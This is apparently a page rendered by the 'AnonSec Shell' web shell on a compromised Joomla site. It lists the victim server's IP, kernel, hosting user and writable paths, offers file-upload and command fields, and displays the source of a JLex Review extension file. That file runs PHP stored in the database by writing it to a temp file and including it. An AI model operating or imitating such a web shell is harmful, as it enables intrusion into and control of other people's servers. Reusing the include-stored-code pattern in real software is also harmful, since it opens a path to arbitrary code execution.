AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/libs/sync.php
<?php
/**
 * @package     JLex Review
 * @version     4.2.3
 * @copyright   Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license     GNU General Public License version 2 or later;
 * @author      www.jlexart.com
 */

defined('_JEXEC') or die;

class JLexReviewSync
{
	protected $_db = null;

    protected $items = [];

    protected $object = null;

    protected $object_id = null;

    public function __construct()
    {
        $this->_db = JFactory::getDbo();
    }

    public function set($object, $object_id)
    {
        $this->object = $object;
        $this->object_id = $object_id;
    }

	public function action()
    {
        $query = $this->_db->getQuery(true);
        
        if(!array_key_exists($this->object, $this->items))
        {
            $query->clear()
                  ->select('*')
                  ->from('#__jlexreview_sync')
                  ->where(array(
                        'published=1',
                        'object='.$this->_db->quote($this->object)
                    ));

            $item = $this->_db->setQuery($query)->loadObject();
            $this->items[$this->object] = $item?$item:false;

            if(!$item) return;
        }

        if(!$this->items[$this->object]) return;
        $item = $this->items[$this->object];

        $numargs = func_num_args();
        if($numargs<1) return;

        $arg_list = func_get_args();
        $cmd = $arg_list[0];

        // execute command
        switch ($cmd) {
            case 'entry_details':
            case 'entry_updated':
            case 'author_follow':
                if($item->$cmd==1)
                {
                    // enabled
                    $nameOfCmd = 'cb_'.$cmd;
                    try {
                        $code = $item->$nameOfCmd;
                        if(!preg_match("/^[\n\s]*\<\?php/", $code))
                        {
                            $code = "<?php\n".$code;
                        }

                        $tmpfname = tempnam(JPATH_SITE."/tmp", "html");
                        $handle = fopen($tmpfname, "w");
                        fwrite($handle, $code, strlen($code));
                        fclose($handle);

                        // global var
                        $object_id = $this->object_id;

                        if(!preg_match('/^[1-9][0-9]*$/', $this->object_id)) return;

                        if($cmd=='entry_updated')
                        {
                            $rating = $arg_list[1];
                            $rating_count = $arg_list[2];
                            $review_count = $arg_list[3];
                        } elseif($cmd=='author_follow'){
                            $entry_id = $arg_list[1];
                        }

                        $result = include_once($tmpfname);
                        unlink($tmpfname);

                        if($cmd=='author_follow' && preg_match('/^[1-9][0-9]*$/', $result))
                        {
                            $now = JFactory::getDate()->toSql();

                            $query->clear()
                                  ->select('COUNT(*)')
                                  ->from('#__jlexreview_subscribe')
                                  ->where(array(
                                        'sub_type=1',
                                        'sub_value='.$this->_db->quote($entry_id),
                                        'userid='.$this->_db->quote($result)
                                    ));

                            $sub = $this->_db->setQuery($query)->loadResult();

                            if(!$sub)
                            {
                                JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jlexreview/tables');
                            
                                $row = JTable::getInstance("Subscribe", "TableJR");

                                $row->bind(array(
                                        'sub_type' => 1,
                                        'userid' => $result,
                                        'sub_value' => $entry_id,
                                        'created' => $now,
                                        'point_created' => $now
                                    ));

                                $row->store();
                            }
                        }
                        
                        if($result==='deleted' && $cmd=='entry_details')
                        {
                            // delete this entry
                            $query->clear()
                                  ->select('id')
                                  ->from('#__jlexreview_entry')
                                  ->where(array(
                                        'object='.$this->_db->quote($this->object),
                                        'object_id='.$this->_db->quote($this->object_id)
                                    ));

                            $id = $this->_db->setQuery($query)->loadResult();

                            if($id>0)
                            {
                                JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jlexreview/tables');
                            
                                $row = JTable::getInstance("Object", "TableJR");
                                $row->load($id);
                                $row->delete();
                            }
                        }

                        if($cmd=='entry_details' && is_array($result) && !empty($result))
                        {
                            $fields = array();
                            if(array_key_exists('title', $result))
                                $fields[]='object_name='.$this->_db->quote($result['title']);

                            if(array_key_exists('url', $result))
                                $fields[]='url='.$this->_db->quote($result['url']);

                            if(count($fields))
                            {
                                // update entry params
                                $query = $this->_db->getQuery(true);
                                $query->clear()
                                      ->update('#__jlexreview_entry')
                                      ->set($fields)
                                      ->where(array(
                                            'object='.$this->_db->quote($this->object),
                                            'object_id='.$this->_db->quote($this->object_id)
                                        ));

                                $this->_db->setQuery($query)->execute();
                            }
                        }
                    } catch(Exception $e){
                        // add to log
                        $err = $cmd.': '.$e->getMessage();
                        $query->clear()
                              ->update('#__jlexreview_sync')
                              ->set('latest_log='.$this->_db->quote($err))
                              ->where('object='.$this->_db->quote($this->object));

                        $this->_db->setQuery($query)->execute();
                    }
                }
                break;
        }
    }
}

Anon7 - 2022
AnonSec Team